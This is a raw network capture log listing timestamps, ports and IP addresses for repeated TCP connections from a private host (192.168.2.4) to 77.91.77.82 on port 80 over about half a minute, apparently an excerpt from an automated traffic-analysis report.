Jul 4, 2024 00:00:49.732491970 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:49.737237930 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:49.737498999 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:49.743473053 CEST	80	49835	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:49.743551970 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:49.745034933 CEST	80	49834	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:49.745338917 CEST	49834	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:49.769910097 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:49.776880980 CEST	80	49835	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:50.460355043 CEST	80	49835	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:50.460489988 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:50.571862936 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:50.572190046 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:50.577003002 CEST	80	49835	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:50.577114105 CEST	80	49836	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:50.577171087 CEST	49835	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:50.577205896 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:50.577361107 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:50.582511902 CEST	80	49836	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:51.273792982 CEST	80	49836	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:51.273956060 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:51.276436090 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:51.276745081 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:51.283468962 CEST	80	49836	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:51.283610106 CEST	80	49837	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:51.283700943 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:51.283711910 CEST	49836	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:51.283874035 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:51.288711071 CEST	80	49837	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:51.999924898 CEST	80	49837	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:52.000052929 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:52.103780985 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:52.104095936 CEST	49838	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:52.108799934 CEST	80	49837	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:52.108863115 CEST	49837	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:52.108901024 CEST	80	49838	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:52.108954906 CEST	49838	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:52.109193087 CEST	49838	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:52.114852905 CEST	80	49838	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:52.805296898 CEST	80	49838	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:52.805530071 CEST	49838	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:52.808474064 CEST	49838	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:52.808779955 CEST	49839	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:52.815912962 CEST	80	49838	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:52.815975904 CEST	49838	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:52.816314936 CEST	80	49839	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:52.816576958 CEST	49839	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:52.816780090 CEST	49839	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:52.822088957 CEST	80	49839	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:53.599561930 CEST	80	49839	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:53.599756956 CEST	49839	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:53.713032961 CEST	49839	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:53.713318110 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:53.720031977 CEST	80	49840	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:53.720050097 CEST	80	49839	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:53.720093966 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:53.720129013 CEST	49839	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:53.720213890 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:53.727300882 CEST	80	49840	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:54.415404081 CEST	80	49840	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:54.415740967 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:54.418518066 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:54.418867111 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:54.426987886 CEST	80	49841	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:54.427222013 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:54.427643061 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:54.441009045 CEST	80	49840	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:54.441186905 CEST	49840	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:54.442708015 CEST	80	49841	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:55.152555943 CEST	80	49841	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:55.152843952 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:55.265952110 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:55.266833067 CEST	49842	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:55.271110058 CEST	80	49841	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:55.271163940 CEST	49841	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:55.271670103 CEST	80	49842	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:55.271744967 CEST	49842	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:55.273776054 CEST	49842	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:55.279258013 CEST	80	49842	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:56.019861937 CEST	80	49842	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:56.019926071 CEST	49842	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:56.022660971 CEST	49842	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:56.023431063 CEST	49843	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:56.029886007 CEST	80	49843	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:56.029964924 CEST	49843	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:56.030128956 CEST	80	49842	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:56.030294895 CEST	49842	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:56.030397892 CEST	49843	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:56.039207935 CEST	80	49843	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:56.728523970 CEST	80	49843	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:56.728781939 CEST	49843	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:56.838403940 CEST	49843	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:56.838732004 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:56.847671032 CEST	80	49844	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:56.847929955 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:56.848083019 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:56.848269939 CEST	80	49843	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:56.848371029 CEST	49843	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:56.855108976 CEST	80	49844	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:57.560581923 CEST	80	49844	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:57.562175035 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:57.564723015 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:57.564999104 CEST	49845	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:57.569940090 CEST	80	49844	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:57.570106983 CEST	80	49845	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:57.570158005 CEST	49844	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:57.570188046 CEST	49845	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:57.570327044 CEST	49845	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:57.579132080 CEST	80	49845	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:58.282495975 CEST	80	49845	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:58.282561064 CEST	49845	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:58.400793076 CEST	49845	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:58.401087046 CEST	49846	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:58.408397913 CEST	80	49846	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:58.408461094 CEST	49846	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:58.408741951 CEST	49846	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:58.416296959 CEST	80	49846	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:58.419809103 CEST	80	49845	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:58.419867039 CEST	49845	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:59.135302067 CEST	80	49846	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:59.135411024 CEST	49846	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:59.137923002 CEST	49846	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:59.138284922 CEST	49847	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:59.147773027 CEST	80	49846	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:59.147785902 CEST	80	49847	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:59.147826910 CEST	49846	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:59.147864103 CEST	49847	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:59.148013115 CEST	49847	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:59.157041073 CEST	80	49847	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:59.848582029 CEST	80	49847	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:59.848819017 CEST	49847	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:59.962770939 CEST	49847	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:59.963115931 CEST	49848	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:59.970833063 CEST	80	49848	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:59.970897913 CEST	49848	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:59.970927954 CEST	80	49847	77.91.77.82	192.168.2.4
Jul 4, 2024 00:00:59.970972061 CEST	49847	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:59.971170902 CEST	49848	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:00:59.979279041 CEST	80	49848	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:00.677119970 CEST	80	49848	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:00.677191973 CEST	49848	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:00.680530071 CEST	49848	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:00.680855036 CEST	49849	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:00.687125921 CEST	80	49848	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:00.687366962 CEST	49848	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:00.687505960 CEST	80	49849	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:00.687575102 CEST	49849	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:00.687711000 CEST	49849	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:00.694144011 CEST	80	49849	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:01.394656897 CEST	80	49849	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:01.394725084 CEST	49849	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:01.509845972 CEST	49849	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:01.510186911 CEST	49850	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:01.514935017 CEST	80	49850	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:01.514996052 CEST	49850	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:01.515156984 CEST	49850	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:01.515166044 CEST	80	49849	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:01.515274048 CEST	49849	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:01.519943953 CEST	80	49850	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:02.216008902 CEST	80	49850	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:02.216181040 CEST	49850	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:02.219515085 CEST	49850	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:02.219885111 CEST	49851	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:02.226109982 CEST	80	49850	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:02.226159096 CEST	49850	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:02.226418972 CEST	80	49851	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:02.226495028 CEST	49851	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:02.226742029 CEST	49851	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:02.233287096 CEST	80	49851	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:02.936160088 CEST	80	49851	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:02.936227083 CEST	49851	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:03.337270021 CEST	49851	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:03.338164091 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:03.344223976 CEST	80	49851	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:03.344285011 CEST	49851	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:03.344763994 CEST	80	49852	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:03.345021963 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:03.346314907 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:03.351814985 CEST	80	49852	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:04.070852041 CEST	80	49852	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:04.070980072 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:04.080410004 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:04.081140041 CEST	49853	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:04.085721970 CEST	80	49852	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:04.085846901 CEST	49852	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:04.085958004 CEST	80	49853	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:04.086074114 CEST	49853	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:04.088260889 CEST	49853	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:04.093219042 CEST	80	49853	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:04.795100927 CEST	80	49853	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:04.795161963 CEST	49853	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:04.900104046 CEST	49853	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:04.900428057 CEST	49854	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:04.907816887 CEST	80	49854	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:04.907892942 CEST	49854	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:04.907970905 CEST	80	49853	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:04.908035994 CEST	49853	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:04.908190012 CEST	49854	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:04.915898085 CEST	80	49854	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:05.611490965 CEST	80	49854	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:05.611560106 CEST	49854	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:05.614170074 CEST	49854	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:05.614517927 CEST	49855	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:05.623523951 CEST	80	49855	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:05.623586893 CEST	49855	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:05.623821974 CEST	49855	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:05.623897076 CEST	80	49854	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:05.623941898 CEST	49854	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:05.633090019 CEST	80	49855	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:06.328012943 CEST	80	49855	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:06.328089952 CEST	49855	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:06.432157993 CEST	49855	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:06.432508945 CEST	49856	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:06.440201044 CEST	80	49856	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:06.440262079 CEST	49856	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:06.440498114 CEST	49856	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:06.440506935 CEST	80	49855	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:06.440562010 CEST	49855	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:06.448960066 CEST	80	49856	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:07.174395084 CEST	80	49856	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:07.174580097 CEST	49856	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:07.177273035 CEST	49856	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:07.177782059 CEST	49857	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:07.183324099 CEST	80	49856	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:07.183331013 CEST	80	49857	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:07.183414936 CEST	49856	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:07.183417082 CEST	49857	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:07.186129093 CEST	49857	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:07.190879107 CEST	80	49857	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:07.883691072 CEST	80	49857	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:07.883754969 CEST	49857	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:07.997579098 CEST	49857	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:07.998127937 CEST	49858	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:08.005315065 CEST	80	49857	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:08.005371094 CEST	49857	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:08.005559921 CEST	80	49858	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:08.005625963 CEST	49858	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:08.006000996 CEST	49858	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:08.012835979 CEST	80	49858	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:08.743379116 CEST	80	49858	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:08.744025946 CEST	49858	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:08.746615887 CEST	49858	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:08.746620893 CEST	49859	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:08.752975941 CEST	80	49859	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:08.753370047 CEST	80	49858	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:08.753401041 CEST	49859	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:08.753484011 CEST	49859	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:08.756165028 CEST	49858	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:08.759673119 CEST	80	49859	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:09.478059053 CEST	80	49859	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:09.480144024 CEST	49859	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:09.587986946 CEST	49860	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:09.587989092 CEST	49859	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:09.594875097 CEST	80	49860	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:09.595603943 CEST	80	49859	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:09.596144915 CEST	49859	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:09.596157074 CEST	49860	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:09.600025892 CEST	49860	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:09.606873989 CEST	80	49860	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:10.303957939 CEST	80	49860	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:10.304011106 CEST	49860	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:10.308897018 CEST	49860	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:10.309365034 CEST	49861	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:10.318468094 CEST	80	49860	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:10.318484068 CEST	80	49861	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:10.318507910 CEST	49860	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:10.318552017 CEST	49861	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:10.318828106 CEST	49861	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:10.328083992 CEST	80	49861	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:11.042747974 CEST	80	49861	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:11.044172049 CEST	49861	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:11.150938988 CEST	49861	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:11.151534081 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:11.158382893 CEST	80	49861	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:11.158519030 CEST	80	49862	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:11.158664942 CEST	49861	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:11.158664942 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:11.158808947 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:11.166093111 CEST	80	49862	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:11.861227989 CEST	80	49862	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:11.861298084 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:11.865228891 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:11.865554094 CEST	49863	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:11.870443106 CEST	80	49862	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:11.870498896 CEST	49862	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:11.871200085 CEST	80	49863	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:11.871280909 CEST	49863	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:11.871603966 CEST	49863	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:11.877444983 CEST	80	49863	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:12.606924057 CEST	80	49863	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:12.606992006 CEST	49863	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:12.714030981 CEST	49863	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:12.714427948 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:12.720500946 CEST	80	49864	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:12.720577002 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:12.720777035 CEST	80	49863	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:12.720824957 CEST	49863	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:12.720947981 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:12.727175951 CEST	80	49864	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:13.422116995 CEST	80	49864	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:13.426249981 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:13.429241896 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:13.429246902 CEST	49865	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:13.434067965 CEST	80	49865	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:13.434809923 CEST	80	49864	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:13.438169956 CEST	49864	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:13.438169956 CEST	49865	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:13.438375950 CEST	49865	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:13.443099022 CEST	80	49865	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:14.146811962 CEST	80	49865	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:14.146871090 CEST	49865	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:14.261749983 CEST	49865	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:14.262304068 CEST	49866	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:14.269222975 CEST	80	49865	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:14.269273043 CEST	49865	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:14.269356012 CEST	80	49866	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:14.269423962 CEST	49866	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:14.269537926 CEST	49866	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:14.276618958 CEST	80	49866	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:15.003763914 CEST	80	49866	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:15.006634951 CEST	49866	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:15.006634951 CEST	49866	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:15.008028030 CEST	49867	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:15.015086889 CEST	80	49866	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:15.015094995 CEST	80	49867	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:15.016163111 CEST	49866	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:15.016165972 CEST	49867	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:15.016247988 CEST	49867	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:15.024332047 CEST	80	49867	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:15.749702930 CEST	80	49867	77.91.77.82	192.168.2.4
Jul 4, 2024 00:01:15.749766111 CEST	49867	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:15.855345011 CEST	49867	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:01:15.855720997 CEST	49868	80	192.168.2.4	77.91.77.82
